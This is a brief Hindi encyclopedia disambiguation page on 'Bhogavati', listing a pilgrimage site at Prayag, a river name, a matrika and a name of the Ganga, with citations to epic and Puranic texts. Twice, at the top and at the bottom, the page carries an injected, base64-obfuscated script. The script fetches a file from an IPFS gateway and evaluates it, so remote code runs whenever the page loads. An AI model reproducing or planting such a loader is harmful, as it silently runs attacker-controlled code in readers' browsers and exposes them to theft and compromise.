भोगवती
एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- भोगवती (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- पुराणानुसार भोगवती एक तीर्थ का नाम है। यह प्रयाग में वासुकिनाग का तीर्थ है जो गंगा में है, इसमें स्नान करने से अश्वमेधयज्ञ का फल प्राप्त होता है।[१]
- भोगवती सरस्वती नदी का दूसरा नाम है।[२]
- नागपुरी जिसकी तुलना द्वारकापुरी तथा पुरंजनकी नगरी से करते है।[३]
- प्रयाग में भोगवती वासु कि ह्रद के उत्तर गंगा में स्थित है।[४]
- भोगवती कार्तिकेय की अनुचरी एक मातृका का नाम है।[५]
- भोगवती पाताल में गंगा का एक नाम है।[६]
टीका टिप्पणी और संदर्भ
- ↑ वन पर्व महाभारत 85-86
- ↑ वन पर्व महाभारत 24.20
- ↑ भागवत पुराण 1.11.11;4.25.15
- ↑ मत्स्य पुराण 163.80
- ↑ शल्य पर्व महाभारत 46.8
- ↑ भागवत पुराण 10.70.44
बाहरी कड़ियाँ
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>